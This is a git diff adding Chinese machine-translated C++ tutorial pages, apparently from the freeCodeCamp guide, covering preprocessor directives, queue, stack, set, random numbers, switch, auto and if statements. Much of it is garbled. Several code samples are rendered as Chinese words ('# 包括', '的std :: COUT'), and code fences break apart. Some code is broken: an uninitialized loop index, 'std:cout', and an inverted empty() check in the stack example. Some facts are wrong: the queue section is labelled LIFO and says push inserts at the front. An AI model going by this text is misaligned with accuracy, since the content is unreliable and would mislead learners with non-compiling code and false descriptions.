+*   ####用户定义的文件： 当程序变得非常大时，最好将它分成较小的文件并在需要时包含。这些类型的文件是用户定义的文件。这些文件可以包含在： ... `#include"filename"`
+
+### 条件编译：
+
+条件编译指令是指令的类型，它有助于编译程序的特定部分或基于某些条件跳过程序的某些特定部分的编译。这可以通过两个预处理命令`ifdef`和`endif` 。
+
+#### 句法：
+
+```cpp
+  ifdef macro_name 
+    statement1; 
+    statement2; 
+    statement3; 
+    . 
+    . 
+    . 
+    statementN; 
+  endif 
+```
+
+如果定义了名为'macroname'的宏，则语句块将正常执行，但如果未定义，则编译器将跳过此语句块。
+
+### 其他指令：
+
+除了上述指令外，还有两个不常用的指令。这些是：
+
+1.  \##### `#undef`指令： `#undef`指令用于`#undef`定义现有宏。该指令的作用如下：
+
+##### 句法：
+
+`#undef LIMIT` 使用此语句将取消定义现有的宏LIMIT。在此语句之后，每个`#ifdef LIMIT`语句将评估为false。
+
+2.  \##### `#pragma`指令： 该指令是一个特殊用途指令，用于打开或关闭某些功能。这种类型的指令是特定于编译器的，即它们因编译器而异。下面讨论一些`#pragma`指令：
+
+##### `#pragma startup`和`#pragma exit` ：
+
+这些指令帮助我们指定在程序启动之前（控件传递给main（）之前）和程序退出之前（在控件从main（）返回之前）运行所需的函数。
+
+```cpp
+#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ #pragma startup func1 
+ #pragma exit func2 
+ void func1() 
+ { 
+    printf("Inside func1() "); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2() "); 
+ } 
+ int main() 
+ { 
+    printf("Inside main() "); 
+ 
+    return 0; 
+ } 
+```
+
+输出：  
+`Inside func1() Inside main() Inside func2()`  
+当在GCC编译器上运行时，上面的代码将产生如下给出的输出：  
+输出：  
+`Inside main()`  
+这是因为GCC不支持#pragma startup或exit。但是，您可以在GCC编译器上使用以下代码获得类似的输出。
+
+```cpp
+#include<stdio.h> 
+ void func1(); 
+ void func2(); 
+ void __attribute__((constructor)) func1(); 
+ void __attribute__((destructor)) func2(); 
+ void func1() 
+ { 
+    printf("Inside func1()\n"); 
+ } 
+ void func2() 
+ { 
+    printf("Inside func2()\n"); 
+ } 
+ int main() 
+ { 
+    printf("Inside main()\n"); 
+ 
+    return 0; 
+ } 
+```
+
+##### `#pragma warn`指令：
+
+该指令用于隐藏编译期间显示的警告消息。 我们可以隐藏警告，如下所示：
+
+##### `#pragma warn -rvl` ：
+
+该指令隐藏了当应该返回值的函数未返回值时引发的警告。
+
+##### `#pragma warn -par` ：
+
+该指令隐藏了当函数不使用传递给它的参数时引发的警告。
+
+##### `#pragma warn -rch` ：
+
+该指令隐藏了代码无法访问时引发的警告。例如：在函数中的return语句之后写入的任何代码都是不可访问的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/queue/index.md b/client/src/guide/chinese/cplusplus/queue/index.md
new file mode 100644
index 0000000000..e04ef8fbca
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/queue/index.md
@@ -0,0 +1,197 @@
+---
+title: queue
+localeTitle: 队列
+---
+## 队列
+
+`queue`是C ++中最常用的容器之一。容器是一种存储对象集合的数据结构，有些是有序的，有些则不是。所有容器都有一组不同的功能，允许您访问该集合中的对象。
+
+`std::queue`是C ++标准库的一部分（因此前缀为`std::` ，允许您以先入先出（FIFO）顺序存储数据。注意： **队列中的所有对象必须具有相同的数据类型**
+
+存储在队列中的数据类型位于queue关键字旁边的尖括号内。例如，如果要存储整数集合，则队列将为`std::queue<int> queue_name`
+
+### 队列LIFO解释
+
+`queue`允许我们按特定顺序推送/排队和弹出/出列。 **推送**意味着在队列的前面插入一个对象。 **Pop**意味着从队列末尾拉出“最旧的”对象。所以当你推动它在前面时，当你弹出时，你提取最旧的元素。
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Fifo_queue.png "FIFO队列入队和出队示例")
+
+### 队列操作
+
+队列容器支持以下操作：
+
+*   推（入队）
+*   pop（出队）
+*   空
+*   尺寸
+*   面前
+*   背部
+
+#### 推
+
+允许您在队列末尾的当前最后一个元素之后插入一个新元素。
+
+```cpp
+//Push operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+#### 面前
+
+允许您访问队列中的下一个元素而不删除它。 下一个元素是队列中“最旧的”元素。
+
+```cpp
+//Front operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 1 
+ 1 
+```
+
+#### 流行的
+
+允许您删除队列中的下一个元素，有效地将其大小减小一个。 删除的元素是“最旧的”元素。
+
+```cpp
+//Pop operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.front()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 1 
+ 2 
+```
+
+#### 尺寸
+
+返回`queue`的元素数。
+
+```cpp
+//Size operation in Queue 
+ #include <iostream>       // std::cout 
+ #include <queue>          // std::queue 
+ 
+ int main () 
+ { 
+  std::queue<int> q; 
+ 
+  q.push(1);    //Pushing 1 at front of the queue 
+  q.push(2);    //Pushing 2 at front of the queue 
+ 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+  q.pop();                        //Removing the oldest element 
+  std::cout<<q.size()<<'\n';     //Accessing the front of the queue 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ 0 
+```
+
+#### 空
+
+返回`queue`是否为空，即队列大小是否为零。 如果队列的大小为0，则返回`true` ，否则返回`false`
+
+\`\`\`cpp //队列中的空操作
+
+# 包括 // std :: cout
+
+# 包括 // std :: stack
+
+int main（） { 的std ::队列 q;
+
+q.push（1）; q.push（2）;
+
+while（q.empty（）！= true）{ 的std :: COUT << q.front（）<< '\\ n'; q.pop（）; }
+
+std :: cout <<“Out of loop”<<'\\ n'; 返回0; }
+```
+    Output: 
+    1 
+    2 
+    Out of loop 
+ 
+ #### Back 
+ 
+ Allows you to access the last element in the queue without removing it. 
+ The next element is the "newest" element in the queue. 
+```
+
+CPP //在队列中返回操作
+
+# 包括 // std :: cout
+
+# 包括 // std :: queue
+
+int main（） { 的std ::队列 q;
+
+q.push（1）; //在队列前面按1 q.push（2）; //在队列前面按2
+
+的std :: COUT << q.back（）<< '\\ n'; //访问队列的后面 的std :: COUT << q.back（）<< '\\ n'; //访问队列的后面
+
+返回0; } \`\`\`
+```
+Output: 
+ 2 
+ 2 
+```
+
+### 更多资源：
+
+http://www.cplusplus.com/reference/queue/queue/
+
+### 引文：
+
+图片礼貌：https _：_ //en.wikipedia.org/wiki/FIFO _（computing_ and\_electronics）
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/random-functions/index.md b/client/src/guide/chinese/cplusplus/random-functions/index.md
new file mode 100644
index 0000000000..9859f74fbb
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/random-functions/index.md
@@ -0,0 +1,88 @@
+---
+title: Random Functions
+localeTitle: 随机函数
+---
+*   随机数是将随机化引入程序的便捷方式。例如，如果你想运行任何模拟或玩游戏，删除数组的随机索引等，那么随机数就是要走的路。
+*   要包含在c ++中使用随机数的头文件是`cstdlib` 。
+*   _专业提示： -_您可以使用`cpp #include<bits/stdc++.h>`来包含所有头文件中的所有函数。
+
+功能： - rand（）  
+\- 返回从0到RAND _MAX_的伪随机数（整数） _。不接受任何争论。 - RAND_ MAX是允许的最大整数。它是编译器依赖，通常是2147483647。
+
+以下是一个例子： -
+
+```cpp
+#include <cstdlib> 
+ #include <iostream> 
+ using namespace std; 
+ 
+ int main() { 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  cout << rand() << endl; 
+  return 0; 
+ } 
+ 
+ /* 
+ Output:- (Note that the output is random and will differ from what is mentioned here) 
+ 1804289383 
+ 846930886 
+ 1681692777 
+ */ 
+```
+
+现在，再次运行该程序。然后再次。然后再次。你看到了什么？ 一次又一次地打印相同的输出。
+
+让我们回到rand（）函数的定义： -
+
+rand（）： - _返回从0到RAND\_MAX的**伪随机**数（整数）。不接受任何争论。_
+
+那么什么是伪随机数？
+
+*   顾名思义，一个非真正随机的数字是伪随机数。
+*   伪随机数不是加密安全的，容易受到攻击。
+*   在C ++的上下文中，数字看起来是随机的，但不是真正随机的。该函数假定从0到RAND\_MAX的每个数字都具有相同的可能性并吐出一个数字。 （事实上​​， 事实并非如此，但它很接近）。例如，数字5几乎用于所有地方。如果随机数吐出5，您可能认为该数字不是随机的。
+*   随机函数rand（）占用一个非常大的数字，通过一个大的素数应用模数，并对数字进行各种操作并返回一个值。无论多么复杂，它仍有可能打破它。
+
+我们如何在每个程序执行时获得一组独特的随机数？
+
+我们使用`void srand(int seed)` ;
+
+*   “种子”是赋予一个数字的名称，使得随机序列生成器每次都在不同的起始点开始。这可确保随机函数在程序运行期间不会吐出相同的值。
+*   **重要的是只在程序开始时调用sCE调用ONCE。**
+*   不需要重复调​​用来播种随机数生成器（实际上，它会使您的数字不均匀 分散式）。
+*   一种常用的技术是使用时钟为随机数生成器播种，因为每次看时它都会为您提供不同的输出。因此，对于种子，您可以获取时间输出并将其插入随机数生成器。
+*   time（）函数将返回计算机的时间。这表示为数量 自1970年1月1日（大纪元）以来已经过去的秒数。
+*   函数时间（NULL）将返回计算机时间内经过的秒数。
+*   时间函数必须包含的头文件：\`ctime'。
+
+代码段：
+
+```cpp
+#include <ctime> 
+ 
+ srand(time(NULL)); 
+ cout << rand(); 
+ 
+ /* 
+ Output: (Will differ from computer to computer, and because of the seed, will also differ from time to time, literally. :D) 
+ 1696269016 
+ */ 
+```
+
+每次运行程序时，这会产生不同的值。
+
+额外奖励：根据您的方便调整兰特（）。
+
+*   由于rand（）返回一个从0到RAND\_MAX的随机数，如果你想要一个0到8之间的数字，那么 -rand（）％9。 任何模9的数字都将返回0到8之间的值。
+    
+*   更正式的是，如果你想要一个L（包括）和U（包括）之间的数字，你必须这样做 `int num = L + rand()%(U-L+1).` 说明： - rand（）％（UL + 1）返回0和（UL）的随机（伪随机，别忘记）数字。因此，添加L确保我们得到L和U之间的值。
+    
+    摘要：-
+    
+
+1.  int rand（）：返回0到RAND\_MAX之间的随机数。
+    
+2.  void srand（int seed）：用于为随机数生成器设定种子。仅调用此函数_一次_就足够了。
+    
+    ### 来源： - [随机数生成](http://www.math.uaa.alaska.edu/~afkjm/csce211/handouts/RandomFunctions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/range-for-loop/index.md b/client/src/guide/chinese/cplusplus/range-for-loop/index.md
new file mode 100644
index 0000000000..7b4e8ce0de
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/range-for-loop/index.md
@@ -0,0 +1,30 @@
+---
+title: Range For Loop
+localeTitle: 循环范围
+---
+## 基于范围的循环
+
+基于范围的`for`循环允许在一系列元素（如容器中的元素）上轻松循环。
+
+使用传统的`for`循环：
+
+```cpp
+std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (size_t il; il < stringList.size(); il++ 
+ { 
+  std::cout << stringList.at(il) << std::endl; 
+ } 
+```
+
+使用基于范围的`for`循环：
+
+```cpp
+std::vector<std::string> stringList {"one", "two", "three"}; 
+ 
+ for (auto& singleString : stringList) 
+ { 
+  std:cout << singleString << std::endl; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/set/index.md b/client/src/guide/chinese/cplusplus/set/index.md
new file mode 100644
index 0000000000..cfea043af5
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/set/index.md
@@ -0,0 +1,94 @@
+---
+title: Set
+localeTitle: 组
+---
+c ++中的集合数据结构的定义方式与在数学上下文中定义集合的方式相同。
+
+更正式地说，集合是一种关联容器，其中每个元素必须是唯一的。
+
+*   输入元素后，无法修改元素的值，但允许删除元素并插入新元素，就像我们在mathenatics中一样。
+*   设置数据结构可用于建模，并设置自身。很容易找到交叉点，工会等。
+*   与vector类似，但只允许使用唯一值。
+*   当您将元素插入集合时，Set会按递增顺序排列元素。
+
+使用set数据结构所需的头文件是'set'。即， `#include<set>`必须在您的代码中，以便您使用set数据结构。
+
+**专业提示** ： - 使用`#include<bits/stdc++.h>`包含所有C ++数据结构和函数，而不是逐个添加它们。  
+可以使用set执行的一些功能： -
+
+1.  begin（） - 返回集合中第一个元素的迭代器
+2.  end（） - 返回到集合中最后一个元素后面的理论元素的迭代器
+3.  size（） - 返回集合中的元素数
+4.  max\_size（） - 返回集合可容纳的最大元素数
+5.  empty（） - 返回集合是否为空
+6.  erase（const g） - 从集合中删除值“g”
+7.  clear（） - 从集合中删除所有元素
+
+让我们看一个例子： -
+
+```cpp
+#include <iostream> 
+ #include <set> 
+ #include <iterator> 
+ 
+ using namespace std; 
+ int main() 
+ { 
+    set <int> myset;   //an empty set container. Note that size of the set need not be declared, similar to vector. 
+ 
+    // insert elements in random order 
+    myset.insert(65); 
+    myset.insert(30); 
+    myset.insert(80); 
+    myset.insert(20); 
+    myset.insert(9); 
+    myset.insert(9); // only one 9 will be added to the list. 
+ 
+ 
+    // printing set myset 
+    set <int> :: iterator itr; //an iterator is like a pointer. 
+    cout << "\nThe contents of myset : "; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+    cout << endl; 
+ 
+ 
+    // remove all elements up to 65 in myset from the beginning:- 
+    cout << "\nContents of myset after removal of elements less than 30 : "; 
+    myset.erase(myset.begin(), myset.find(30)); 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    // remove element with value 50 in myset 
+ 
+    int num = myset.erase(80); //returns true (and deletes) if 80 is there in the list else returns 0. 
+    cout<<"\n\n After doing myset.erase(80), "<<num<<" element is removed\n\n"; 
+    cout<<"Contents of the modified set:\t"; 
+    for (itr = myset.begin(); itr != myset.end(); ++itr) 
+    { 
+        cout << '\t' << *itr; 
+    } 
+ 
+    cout << endl; 
+ 
+ 
+    return 0; 
+ 
+ } 
+```
+
+\`\`\`CPP 输出： - myset的内容：9 20 30 65 80
+
+移除少于30:30的元素后的myset内容65 80
+
+做myset.erase（80）后，删除1个元素
+
+修改集的内容：30 65 \`\`\`
+
+###来源
+
+1.  [极客的极客](https://www.geeksforgeeks.org/set-in-cpp-stl/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/stack/index.md b/client/src/guide/chinese/cplusplus/stack/index.md
new file mode 100644
index 0000000000..16da20563a
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/stack/index.md
@@ -0,0 +1,174 @@
+---
+title: stack
+localeTitle: 堆
+---
+## 堆栈
+
+`stack`是C ++中最常用的容器之一。容器是一种存储对象集合的数据结构，有些是有序的，有些则不是。所有容器都有一组不同的功能，允许您访问该集合中的对象。
+
+`std::stack`是C ++标准库的一部分（因此前缀为`std::` ，允许您以后进先出（LIFO）顺序存储数据。注意： **堆栈中的所有对象必须具有相同的数据类型**
+
+存储在堆栈中的数据类型位于stack关键字旁边的尖括号内。例如，如果要存储整数集合，则堆栈将为`std::stack<int> stack_name`
+
+### 堆栈LIFO说明
+
+`stack`允许我们按特定顺序推送和弹出。 **推送**意味着将对象插入堆栈顶部。 **Pop**意味着从堆栈顶部拉出最后插入的对象。因此，当您按下它时，它位于顶部，当您弹出时，您将提取最后插入的元素。
+
+![alt text](https://github.com/mohammadaziz313/helloworld/blob/master/Lifo_stack.png "LIFO Stack Push和Pop示例")
+
+### 堆栈操作
+
+堆栈容器支持以下操作：
+
+*   推
+*   流行的
+*   空
+*   尺寸
+*   背部
+
+#### 推
+
+允许您在当前顶部元素上方的堆栈顶部插入新元素。
+
+```cpp
+//Push operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  return 0; 
+ } 
+```
+
+#### 最佳
+
+允许您访问顶部元素而无需从堆栈中删除它。
+
+```cpp
+//Top operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+  std::cout<<s.top()<<'\n';     //Accessing the top of the stack 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 2 
+```
+
+#### 流行的
+
+移除堆栈顶部的元素，有效地将堆栈的大小减少一个。
+
+```cpp
+//Pop operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.top()<<'\n';   //Accessing the top of the stack 
+ 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+```
+
+#### 尺寸
+
+返回`stack`的元素数。
+
+```cpp
+//Size operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1);    //Pushing 1 at top of the stack 
+  s.push(2);    //Pushing 2 at top of the stack 
+ 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+  s.pop();                    //Removing element from the top of stack 
+  std::cout<<s.size()<<'\n';  //Showing the size of the stack 
+ 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ 0 
+```
+
+#### 空
+
+返回`stack`是否为空，即堆栈大小是否为零。 它返回`true` ，如果堆栈的大小0，否则，返回`false`
+
+```cpp
+//Empty operation in Stack 
+ #include <iostream>       // std::cout 
+ #include <stack>          // std::stack 
+ 
+ int main () 
+ { 
+  std::stack<int> s; 
+ 
+  s.push(1); 
+  s.push(2); 
+ 
+  while(s.empty() != false){ 
+      std::cout<<s.top()<<'\n'; 
+      s.pop(); 
+  } 
+ 
+  std::cout<<"Out of loop"<<'\n'; 
+  return 0; 
+ } 
+```
+
+```
+Output: 
+ 2 
+ 1 
+ Out of loop 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/switch-statements/index.md b/client/src/guide/chinese/cplusplus/switch-statements/index.md
new file mode 100644
index 0000000000..3a3705f090
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/switch-statements/index.md
@@ -0,0 +1,43 @@
+---
+title:Switch Statement
+localeTitle: undefined
+---
+switch语句允许测试变量与值列表的相等性。每个值都称为一个案例，并且针对每种情况检查要打开的变量。
+
+句法： switch（表达式）{ case constant-expression： 声明（S）; 打破; //可选的 case constant-expression： 声明（S）; 打破; //可选的
+
+//您可以拥有任意数量的案例陈述。 default：//可选 声明（S）; }
+
+以下规则适用于switch语句 -
+
+switch语句中使用的表达式必须具有整数或枚举类型，或者是类类型，其中类具有单个转换函数为整数或枚举类型。
+
+您可以在交换机中包含任意数量的case语句。每个案例后跟要与之比较的值和冒号。
+
+case的constant-expression必须与switch中的变量具有相同的数据类型，并且必须是常量或文字。
+
+当接通的变量等于大小写时，该大小写之后的语句将一直执行，直到达到break语句。
+
+当达到break语句时，交换机终止，控制流跳转到switch语句后面的下一行。
+
+并非每个案例都需要包含休息时间。如果没有出现中断，则控制流将进入后续情况，直到达到中断。
+
+switch语句可以有一个可选的默认大小写，它必须出现在交换机的末尾。当没有任何情况为真时，默认情况可用于执行任务。默认情况下不需要中断。
+
+例： \`\`\`C ++
+
+# 包括
+
+使用命名空间std;
+
+int main（）{ //局部变量声明： char grade ='D';
+
+开关（等级）{ 案例'A'： cout <<“太棒了！” << endl; 打破; 案例'B'： 案例'C'： cout <<“做得好”<< endl; 打破; 案例'D'： cout <<“你通过了”<< endl; 打破; 案例'F'： cout <<“最好再试一次”<< endl; 打破; 默认值： cout <<“无效等级”<< endl; } cout <<“你的成绩是”<< grade << endl;
+
+返回0; }\`\`\`
+
+输出： 你通过了 你的成绩是D
+
+### 来源
+
+https://www.tutorialspoint.com
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/terms-to-know-for-beginners/index.md b/client/src/guide/chinese/cplusplus/terms-to-know-for-beginners/index.md
new file mode 100644
index 0000000000..24b311b664
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/terms-to-know-for-beginners/index.md
@@ -0,0 +1,142 @@
+---
+title: IDE and Printing different text 
+localeTitle: IDE和打印不同的文本
+---
# IDE简介和打印不同的文本：
+
+*   在上一篇文章中，有一些编程所需软件的下载链接。像这样的软件被称为IDE。 **IDE代表集成开发环境**
+
+## IDE主要由3种软件组成：
+
+**1编辑器：**略微修改的文本编辑器，使编码变得简单。用于编码的编辑器的示例是Notepad ++。
+
+**2调试器：**帮助您在程序中查找错误并在执行前解决错误的软件。想象一下FaceBook在加载应用程序或游戏突然崩溃时崩溃。为了防止错误执行程序，调试器是程序员最好的朋友。
+
+**3编译器：**编译器是计算机的一部分，它将高级程序代码转换为简单的机器代码：0s和1s;这样计算机就可以理解命令并执行它们。从现在开始，我们将经常使用**编译器**这个词。
+
+_问：尝试在Google上搜索IDE并在其上运行您的第一个程序。检查输出_
+
+现在，安装IDE并尝试在上一篇文章中更改程序中的文本。
+
+### 在C ++上更改文本
+
+*   要更改文本，请更改`cout<<`后面的`""`输入的内容
+
+示例程序：
+
+```cpp
+#include <iostream> 
+ using namespace std : 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+ } 
+```
+
+上面的代码返回一个错误，因为在第2行，我们使用了冒号（:)而不是分号（;） 那么，让我们调试错误：
+
+```C++
+#include <iostream> 
+ using namespace std ; 
+ int main() 
+ { 
+    cout << "I Love freeCodeCamp ! "; 
+    return 0; 
+ } 
+```
+
+请注意，现在程序运行完美。 输出将是： `I Love freeCodeCamp!`
+
+### 现在，让我们将文本更改为其他类似的内容：
+
+```cpp
+    cout << "Hello World!\t I love freeCodeCamp!"; 
+```
+
+这次输出会有所不同：
+```
+Hello World!     I love freeCodeCamp! 
+```
+
+如果您意识到， `\t`命令在两个文本之间创建了一个_制表符空间_ 。这是C ++中的一种特殊命令。这些特殊命令称为_Escape Sequences_ 。 它们用于打印编译器无法显示的某些特殊字符。
+
+#### 有用的转义序列：
+
+*   `\'`打印一个倒置的逗号
+*   `\"`打印双倒逗号
+*   `\n`在新行上打印
+*   `\t`为水平制表符
+*   `\f`为新页面
+*   `\\`反斜杠
+*   `\?`一个问号
+
+##### 现在，让我们尝试使用一些转义序列打印数字和特殊字符：
+
+```cpp
+    cout << "40158 \t 236708 ! \n \\ @ \?" << endl; 
+```
+
+输出更改为：
+```
+40158      236708 ! 
+ \ @ ? 
+```
+
+##### 让我们尝试一些其他打印方式：
+
+```cpp
+    cout << "1+2" << endl; 
+    cout << 1+2 << endl; 
+```
+
+输出：
+
+*   第一个输出语句是`1+2`
+*   第二个输出语句是`3`
+
+这是因为我们没有为第二个print语句添加引号，因此编译器在打印之前添加了数字。
+
+#### 注释：
+
+*   注释是许多编程语言的重要特征。它们允许程序员记笔记以获得自助，并且不会影响程序的运行。
+
+**注释的不同类型的注释和语法** ：
+
+1 `//` 〜 _单行注释_ ：这些注释的长度为1行（键入的行）。 2 `/* */` 〜 _多行注释_ ：这些注释可占用_多行_的空格。
+
+#### 使用评论的示例：
+
+\`\`\`CPP cout <<“你好评论”<< endl; // cout <<“你好评论”<< endl; ，单行评论。
+```
+/* This is an example of a multi line comment. No output is generated for this . 
+ I now end the comment.  :) */ 
+```
+
+\`\`\`
+
+输出将是：
+
+`Hello Comment`
+
+您可能会注意到，在程序执行期间忽略注释，并且在检查程序输出时不会显示注释。 应该注意的是，虽然注释确实为一个代码添加了额外的可读性，但是过于依赖注释来描述代码中的逻辑是一个坏习惯。一般来说，您的代码应该说明一切并反映程序员的意图。
+
+您可能会注意到，在程序执行期间忽略注释，并且在检查程序输出时不会显示注释。
+
+#### 运营商
+
+*   运算符允许您比较两个或更多表达式
+*   `==`等于
+*   `!=`不等于
+*   `<`小于
+*   `>`大于
+*   `<=`小于或等于
+*   `>=`大于或等于
+
+```cpp
+    (7==5); 
+```
+
+评估为false
+
+`cpp (7!=5);` 评估结果为true
+
+[本文中使用的所有打印语句的总和。随意调整代码！ :)](https://repl.it/L4ox)
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/the-auto-feature/index.md b/client/src/guide/chinese/cplusplus/the-auto-feature/index.md
new file mode 100644
index 0000000000..3aae4271ad
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/the-auto-feature/index.md
@@ -0,0 +1,74 @@
+---
+title: The Auto Feature
+localeTitle: 自动功能
+---
+## 自动功能
+
+`auto`是一种C ++ 11特性，它允许编译器在定义中为您推断数据类型。这可以为您节省大量的打字，特别是对于复杂的类型。
+
+没有`auto` ：
+
+```cpp
+double x = 10.425; 
+ double y = x * x; 
+```
+
+有了`auto` ：
+
+```cpp
+double x = 10.425; 
+ auto y = x * x; 
+```
+
+虽然它看似微不足道，但当数据类型开始变得复杂时，它变得非常有用。例如，假设您要存储员工的[`vector`](https://guide.freecodecamp.org/cplusplus/vector) ，并且您只对他们的姓名和年龄感兴趣。一种方法来存储姓名和年龄可能是`pair`一个`string`和`unsigned int` 。这被声明为`std::vector<std::pair<std::string, unsigned int>> employees` 。现在假设您要访问最后添加的员工：
+
+```cpp
+std::vector<std::pair<std::string, unsigned int>> employees; 
+ 
+ // without auto, you have to write: 
+ std::pair<std::string, unsigned int>> last_employee = employees.back(); 
+ 
+ // with auto, you just have to write: 
+ auto last_employee = employees.back(); 
+```
+
+一旦编译器确定了`=`右侧的类型，它就会用该类型替换`auto` 。
+
+在C ++的现代版本中（从C ++ 14开始）， `auto`也可以在函数声明中用作返回类型。然后，编译器将从函数内部的return语句中推断返回类型。以员工为例：
+```
+std::vector<std::pair<std::string, unsigned int>> employees; 
+ auto get_last_employee() { 
+    return employees.back(); // Compiler knows the return type from this line. 
+ } 
+```
+
+编译器将从返回语句的行知道函数的返回类型应该是`std::vector<std::pair<std::string, unsigned int>>` 。
+
+虽然非常技术性，但[auto上](http://en.cppreference.com/w/cpp/language/auto)的[cppreference页面](http://en.cppreference.com/w/cpp/language/auto)描述了更多的`auto`用法以及何时可以使用和不能使用的详细信息。
+
+### 在C ++ 11之前的`auto`
+
+在一些包含_非常_旧代码的旧教科书中，关键字`auto`以非常不同的方式使用。
+
+这个特定的`auto`是一个从C借用的关键字，可能是有史以来用得最少的关键字。
+
+在C ++中，所有变量都有_自动持续时间_ ，也就是说，它们被定义，直到你离开它们定义的函数。
+
+例如：
+
+\`\`\`CPP
+
+# 包括
+
+int main（） { int a; a = 1; //有意义，因为它是在同一个函数中定义的
+```
+    return 0; 
+```
+
+} a = 2; //没有意义，因为这里没有定义 \`\`\`
+
+这是在C ++中给出的，并且`auto`指定变量应该具有_自动持续时间_ ，因此缺乏使用。
+
+## 进一步阅读：
+
+*   http://www.stroustrup.com/C++11FAQ.html#auto
\ No newline at end of file
diff --git a/client/src/guide/chinese/cplusplus/the-if-statement/index.md b/client/src/guide/chinese/cplusplus/the-if-statement/index.md
new file mode 100644
index 0000000000..ffad933d6e
--- /dev/null
+++ b/client/src/guide/chinese/cplusplus/the-if-statement/index.md
@@ -0,0 +1,95 @@
+---
+title: C++ If Statement
+localeTitle: C ++ If Statement
+---
# IF声明。
+
+**if语句有什么作用？**
+
+*   `if`语句计算括号内存在的测试表达式。
+*   `if`语句使用关系运算符和逻辑运算符来生成逻辑表达式。
+
+* * *
+
+`if`语句的一般形式：
+
+```cpp
+  if (Test Expression / Condition) 
+  { 
+    // Block of statements if test expression is True 
+  } 
+```
+
+如果测试表达式的值为**true** ，则为块 执行if语句中的代码。
+
+如果测试表达式的值为**false** ，则为块 跳过if语句中的代码并继续执行代码。
+
+示例`if`语句：
+
+```cpp
+  int a = 10; 
+ 
+  // true statement 
+  if (a < 20) 
+  { 
+    // execute this block of code 
+  } 
+ 
+  // false statement 
+  if (a < 0) 
+  { 
+    // Skip this block of code. 
+  } 
+```
+
+示例在C ++中：
+
+```cpp
+  // Program to check if number entered by the user is positive 
+  // If negative, the block of code is skipped 
+ 
+  #include <iostream> 
+  using namespace std; 
+ 
+  int main() 
+  { 
+    int no ; 
+    cout << "Enter a number: "; 
+    cin >> no; 
+ 
+    // if statement to check if the number is positive 
+    if ( no > 0) 
+    { 
+      cout << "You have entered a positive number: " << no << endl; 
+    } 
